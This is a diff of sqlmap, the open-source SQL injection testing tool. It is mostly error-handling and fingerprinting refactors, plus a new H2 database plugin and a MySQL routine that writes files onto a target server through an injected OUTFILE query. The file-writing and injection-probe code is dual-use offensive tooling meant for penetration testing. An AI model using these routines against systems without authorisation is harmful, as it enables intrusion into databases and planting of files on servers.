return retVal
+7 -6
View File
@@ -11,6 +11,7 @@ from extra.safe2bin.safe2bin import safechardecode
from lib.core.agent import agent
from lib.core.bigarray import BigArray
from lib.core.common import Backend
from lib.core.common import getSafeExString
from lib.core.common import getUnicode
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
@@ -31,7 +32,7 @@ from lib.core.settings import NULL
from lib.core.unescaper import unescaper
from lib.request import inject
def pivotDumpTable(table, colList, count=None, blind=True):
def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
lengths = {}
entries = {}
@@ -88,7 +89,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
if not validPivotValue:
for column in colList:
infoMsg = "fetching number of distinct "
infoMsg += "values for column '%s'" % column
infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "")
logger.info(infoMsg)
query = dumpNode.count2 % (column, table)
@@ -99,7 +100,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
validColumnList = True
if value == count:
infoMsg = "using column '%s' as a pivot " % column
infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "")
infoMsg += "for retrieving row data"
logger.info(infoMsg)
@@ -174,10 +175,10 @@ def pivotDumpTable(table, colList, count=None, blind=True):
warnMsg += "will display partial output"
logger.warn(warnMsg)
except SqlmapConnectionException, e:
errMsg = "connection exception detected. sqlmap "
except SqlmapConnectionException, ex:
errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex)
errMsg += "will display partial output"
errMsg += "'%s'" % e
logger.critical(errMsg)
return entries, lengths
+11 -6
View File
@@ -6,18 +6,23 @@ See the file 'LICENSE' for copying permission
"""
import sys
import time
PYVERSION = sys.version.split()[0]
if PYVERSION >= "3" or PYVERSION < "2.6":
exit("[CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION)
exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION))
errors = []
extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib")
try:
for _ in extensions:
for _ in extensions:
try:
__import__(_)
except ImportError:
errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
except ImportError:
errors.append(_)
if errors:
errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in errors))
errMsg += "most likely because current version of Python has been "
errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
errMsg += "built without appropriate dev packages"
exit(errMsg)
+5 -4
View File
@@ -12,6 +12,7 @@ except:
import logging
from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -43,7 +44,7 @@ class Connector(GenericConnector):
try:
self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db)
except (pyodbc.Error, pyodbc.OperationalError), msg:
raise SqlmapConnectionException(msg[1])
raise SqlmapConnectionException(getSafeExString(msg))
self.initCursor()
self.printConnected()
@@ -52,16 +53,16 @@ class Connector(GenericConnector):
try:
return self.cursor.fetchall()
except pyodbc.ProgrammingError, msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
return None
def execute(self, query):
try:
self.cursor.execute(query)
except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
except pyodbc.Error, msg:
raise SqlmapConnectionException(msg[1])
raise SqlmapConnectionException(getSafeExString(msg))
self.connector.commit()
+1 -1
View File
@@ -129,7 +129,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = kb.bannerFp.get("dbmsVersion")
if re.search(r"-log$", kb.data.banner):
banVer += ", logging enabled"
+4 -3
View File
@@ -12,6 +12,7 @@ except:
import logging
from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -44,16 +45,16 @@ class Connector(GenericConnector):
try:
return self.cursor.fetchall()
except ibm_db_dbi.ProgrammingError, msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
return None
def execute(self, query):
try:
self.cursor.execute(query)
except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
except ibm_db_dbi.InternalError, msg:
raise SqlmapConnectionException(msg[1])
raise SqlmapConnectionException(getSafeExString(msg))
self.connector.commit()
+1 -1
View File
@@ -68,7 +68,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = kb.bannerFp.get("dbmsVersion")
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+5 -4
View File
@@ -12,6 +12,7 @@ except:
import logging
from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -42,7 +43,7 @@ class Connector(GenericConnector):
# Reference: http://www.daniweb.com/forums/thread248499.html
self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")
except kinterbasdb.OperationalError, msg:
raise SqlmapConnectionException(msg[1])
raise SqlmapConnectionException(getSafeExString(msg))
self.initCursor()
self.printConnected()
@@ -51,16 +52,16 @@ class Connector(GenericConnector):
try:
return self.cursor.fetchall()
except kinterbasdb.OperationalError, msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
return None
def execute(self, query):
try:
self.cursor.execute(query)
except kinterbasdb.OperationalError, msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
except kinterbasdb.Error, msg:
raise SqlmapConnectionException(msg[1])
raise SqlmapConnectionException(getSafeExString(msg))
self.connector.commit()
+1 -1
View File
@@ -50,7 +50,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = kb.bannerFp.get("dbmsVersion")
if re.search(r"-log$", kb.data.banner):
banVer += ", logging enabled"
+33
View File
@@ -0,0 +1,33 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import DBMS
from lib.core.settings import H2_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.h2.enumeration import Enumeration
from plugins.dbms.h2.filesystem import Filesystem
from plugins.dbms.h2.fingerprint import Fingerprint
from plugins.dbms.h2.syntax import Syntax
from plugins.dbms.h2.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines H2 methods
"""
def __init__(self):
self.excludeDbsList = H2_SYSTEM_DBS
Syntax.__init__(self)
Fingerprint.__init__(self)
Enumeration.__init__(self)
Filesystem.__init__(self)
Miscellaneous.__init__(self)
Takeover.__init__(self)
unescaper[DBMS.H2] = Syntax.escape
+18
View File
@@ -0,0 +1,18 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.connector import Connector as GenericConnector
class Connector(GenericConnector):
def __init__(self):
GenericConnector.__init__(self)
def connect(self):
errMsg = "on H2 it is not (currently) possible to establish a "
errMsg += "direct connection"
raise SqlmapUnsupportedFeatureException(errMsg)
+52
View File
@@ -0,0 +1,52 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.enumeration import Enumeration as GenericEnumeration
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.common import unArrayizeValue
from lib.core.enums import DBMS
from lib.core.settings import H2_DEFAULT_SCHEMA
from lib.request import inject
class Enumeration(GenericEnumeration):
def __init__(self):
GenericEnumeration.__init__(self)
def getBanner(self):
if not conf.getBanner:
return
if kb.data.banner is None:
infoMsg = "fetching banner"
logger.info(infoMsg)
query = queries[DBMS.H2].banner.query
kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True))
return kb.data.banner
def getPrivileges(self, *args):
warnMsg = "on H2 it is not possible to enumerate the user privileges"
logger.warn(warnMsg)
return {}
def getHostname(self):
warnMsg = "on H2 it is not possible to enumerate the hostname"
logger.warn(warnMsg)
def getCurrentDb(self):
return H2_DEFAULT_SCHEMA
def getPasswordHashes(self):
warnMsg = "on H2 it is not possible to list password hashes"
logger.warn(warnMsg)
return {}
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def __init__(self):
GenericFilesystem.__init__(self)
def readFile(self, rFile):
errMsg = "on H2 it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
errMsg = "on H2 it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
+96
View File
@@ -0,0 +1,96 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import H2_ALIASES
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self, DBMS.H2)
def getFingerprint(self):
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += DBMS.H2
return value
actVer = Format.getDbms()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp.get("dbmsVersion")
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = Format.getErrorParsedDBMSes()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES):
setDbms("%s %s" % (DBMS.H2, Backend.getVersion()))
self.getBanner()
return True
infoMsg = "testing %s" % DBMS.H2
logger.info(infoMsg)
result = inject.checkBooleanExpression("ZERO() IS 0")
if result:
infoMsg = "confirming %s" % DBMS.H2
logger.info(infoMsg)
result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.H2
logger.warn(warnMsg)
return False
else:
setDbms(DBMS.H2)
self.getBanner()
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.H2
logger.warn(warnMsg)
return False
def getHostname(self):
warnMsg = "on H2 it is not possible to enumerate the hostname"
logger.warn(warnMsg)
+24
View File
@@ -0,0 +1,24 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
def __init__(self):
GenericSyntax.__init__(self)
@staticmethod
def escape(expression, quote=True):
"""
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar")
'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar'
"""
def escaper(value):
return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value)))
return Syntax._escape(expression, quote, escaper)
+31
View File
@@ -0,0 +1,31 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def __init__(self):
GenericTakeover.__init__(self)
def osCmd(self):
errMsg = "on H2 it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osShell(self):
errMsg = "on H2 it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osPwn(self):
errMsg = "on H2 it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
def osSmb(self):
errMsg = "on H2 it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
+1 -1
View File
@@ -17,5 +17,5 @@ class Filesystem(GenericFilesystem):
raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
errMsg = "on HSQLDB it is not possible to read files"
errMsg = "on HSQLDB it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
+8 -1
View File
@@ -47,7 +47,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = kb.bannerFp.get("dbmsVersion")
if re.search(r"-log$", kb.data.banner):
banVer += ", logging enabled"
@@ -106,6 +106,13 @@ class Fingerprint(GenericFingerprint):
return False
else:
result = inject.checkBooleanExpression("ZERO() IS 0") # Note: check for H2 DBMS (sharing majority of same functions)
if result:
warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
logger.warn(warnMsg)
return False
kb.data.has_information_schema = True
Backend.setVersion(">= 1.7.2")
setDbms("%s 1.7.2" % DBMS.HSQLDB)
+5 -4
View File
@@ -12,6 +12,7 @@ except:
import logging
from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -35,7 +36,7 @@ class Connector(GenericConnector):
database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port)
self.connector = ibm_db_dbi.connect(database, self.user, self.password)
except ibm_db_dbi.OperationalError, msg:
raise SqlmapConnectionException(msg)
raise SqlmapConnectionException(getSafeExString(msg))
self.initCursor()
self.printConnected()
@@ -44,16 +45,16 @@ class Connector(GenericConnector):
try:
return self.cursor.fetchall()
except ibm_db_dbi.ProgrammingError, msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
return None
def execute(self, query):
try:
self.cursor.execute(query)
except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
except ibm_db_dbi.InternalError, msg:
raise SqlmapConnectionException(msg[1])
raise SqlmapConnectionException(getSafeExString(msg))
self.connector.commit()
+1 -1
View File
@@ -44,7 +44,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = kb.bannerFp.get("dbmsVersion")
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+1 -1
View File
@@ -13,6 +13,6 @@ class Connector(GenericConnector):
GenericConnector.__init__(self)
def connect(self):
errMsg = "on SAP MaxDB it is not possible to establish a "
errMsg = "on SAP MaxDB it is not (currently) possible to establish a "
errMsg += "direct connection"
raise SqlmapUnsupportedFeatureException(errMsg)
+5 -9
View File
@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import unsafeSQLIdentificatorNaming
@@ -43,9 +42,8 @@ class Enumeration(GenericEnumeration):
logger.info(infoMsg)
rootQuery = queries[DBMS.MAXDB].dbs
randStr = randomStr()
query = rootQuery.inband.query
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.schemaname' % randStr], blind=True)
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.schemaname' % kb.aliasName], blind=True)
if retVal:
kb.data.cachedDbs = retVal[0].values()[0]
@@ -79,9 +77,8 @@ class Enumeration(GenericEnumeration):
rootQuery = queries[DBMS.MAXDB].tables
for db in dbs:
randStr = randomStr()
query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER')
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.tablename' % randStr], blind=True)
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=True)
if retVal:
for table in retVal[0].values()[0]:
@@ -193,7 +190,7 @@ class Enumeration(GenericEnumeration):
if dumpMode and colList:
table = {}
table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList)
table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
continue
@@ -202,15 +199,14 @@ class Enumeration(GenericEnumeration):
infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
randStr = randomStr()
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER')
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr], blind=True)
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=True)
if retVal:
table = {}
columns = {}
for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]):
for columnname, datatype, length in zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]):
columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length)
table[tbl] = columns
+1 -1
View File
@@ -41,7 +41,7 @@ class Connector(GenericConnector):
try:
self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
except (pymssql2.Error, _mssql.MssqlDatabaseException), msg:
raise SqlmapConnectionException(msg)
except ValueError:
raise SqlmapConnectionException
+3 -3
View File
@@ -46,9 +46,9 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
release = kb.bannerFp.get("dbmsRelease")
version = kb.bannerFp.get("dbmsVersion")
servicepack = kb.bannerFp.get("dbmsServicePack")
if release and version and servicepack:
banVer = "%s %s " % (DBMS.MSSQL, release)
+6 -7
View File
@@ -13,6 +13,7 @@ except:
import logging
import struct
from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -37,10 +38,8 @@ class Connector(GenericConnector):
try:
self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
except (pymysql.OperationalError, pymysql.InternalError), msg:
raise SqlmapConnectionException(msg[1])
except struct.error, msg:
raise SqlmapConnectionException(msg)
except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error), msg:
raise SqlmapConnectionException(getSafeExString(msg))
self.initCursor()
self.printConnected()
@@ -49,7 +48,7 @@ class Connector(GenericConnector):
try:
return self.cursor.fetchall()
except pymysql.ProgrammingError, msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
return None
def execute(self, query):
@@ -59,9 +58,9 @@ class Connector(GenericConnector):
self.cursor.execute(query)
retVal = True
except (pymysql.OperationalError, pymysql.ProgrammingError), msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
except pymysql.InternalError, msg:
raise SqlmapConnectionException(msg[1])
raise SqlmapConnectionException(getSafeExString(msg))
self.connector.commit()
+34
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.agent import agent
from lib.core.common import getSQLSnippet
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import popValue
@@ -16,11 +18,13 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.exception import SqlmapNoneDataException
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.union.use import unionUse
from plugins.generic.filesystem import Filesystem as GenericFilesystem
@@ -112,6 +116,34 @@ class Filesystem(GenericFilesystem):
return self.askCheckWrittenFile(wFile, dFile, forceCheck)
def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr)
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warn(warnMsg)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg)
query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr)
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
payload = agent.payload(newValue=query)
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
warnMsg = "expect junk characters inside the "
warnMsg += "file as a leftover from original query"
singleTimeWarnMessage(warnMsg)
return self.askCheckWrittenFile(wFile, dFile, forceCheck)
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to"
@@ -130,6 +162,8 @@ class Filesystem(GenericFilesystem):
logger.debug("inserting the hexadecimal encoded file to the support table")
inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
+5 -5
View File
@@ -48,11 +48,11 @@ class Fingerprint(GenericFingerprint):
(50000, 50096), # MySQL 5.0
(50100, 50172), # MySQL 5.1
(50400, 50404), # MySQL 5.4
(50500, 50558), # MySQL 5.5
(50600, 50638), # MySQL 5.6
(50700, 50720), # MySQL 5.7
(50500, 50564), # MySQL 5.5
(50600, 50644), # MySQL 5.6
(50700, 50726), # MySQL 5.7
(60000, 60014), # MySQL 6.0
(80000, 80003), # MySQL 8.0
(80000, 80015), # MySQL 8.0
)
index = -1
@@ -124,7 +124,7 @@ class Fingerprint(GenericFingerprint):
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None
banVer = kb.bannerFp.get("dbmsVersion")
if banVer and re.search(r"-log$", kb.data.banner):
banVer += ", logging enabled"
+1 -1
View File
@@ -46,7 +46,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = kb.bannerFp.get("dbmsVersion")
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+2 -2
View File
@@ -45,7 +45,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = kb.bannerFp.get("dbmsVersion")
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
@@ -73,7 +73,7 @@ class Fingerprint(GenericFingerprint):
infoMsg = "testing %s" % DBMS.PGSQL
logger.info(infoMsg)
result = inject.checkBooleanExpression("[RANDNUM]::int=[RANDNUM]")
result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL")
if result:
infoMsg = "confirming %s" % DBMS.PGSQL
+1 -1
View File
@@ -45,7 +45,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = kb.bannerFp.get("dbmsVersion")
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+8 -13
View File
@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
from lib.core.common import filterPairValues
from lib.core.common import isTechniqueAvailable
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import unArrayizeValue
@@ -38,7 +37,6 @@ class Enumeration(GenericEnumeration):
rootQuery = queries[DBMS.SYBASE].users
randStr = randomStr()
query = rootQuery.inband.query
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
@@ -47,7 +45,7 @@ class Enumeration(GenericEnumeration):
blinds = (True,)
for blind in blinds:
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind)
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName)
if retVal:
kb.data.cachedUsers = retVal[0].values()[0]
@@ -94,7 +92,6 @@ class Enumeration(GenericEnumeration):
logger.info(infoMsg)
rootQuery = queries[DBMS.SYBASE].dbs
randStr = randomStr()
query = rootQuery.inband.query
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
@@ -103,7 +100,7 @@ class Enumeration(GenericEnumeration):
blinds = [True]
for blind in blinds:
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind)
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName)
if retVal:
kb.data.cachedDbs = retVal[0].values()[0]
@@ -146,9 +143,8 @@ class Enumeration(GenericEnumeration):
for db in dbs:
for blind in blinds:
randStr = randomStr()
query = rootQuery.inband.query % db
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind)
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName)
if retVal:
for table in retVal[0].values()[0]:
@@ -210,7 +206,7 @@ class Enumeration(GenericEnumeration):
raise SqlmapNoneDataException(errMsg)
for tbl in tblList:
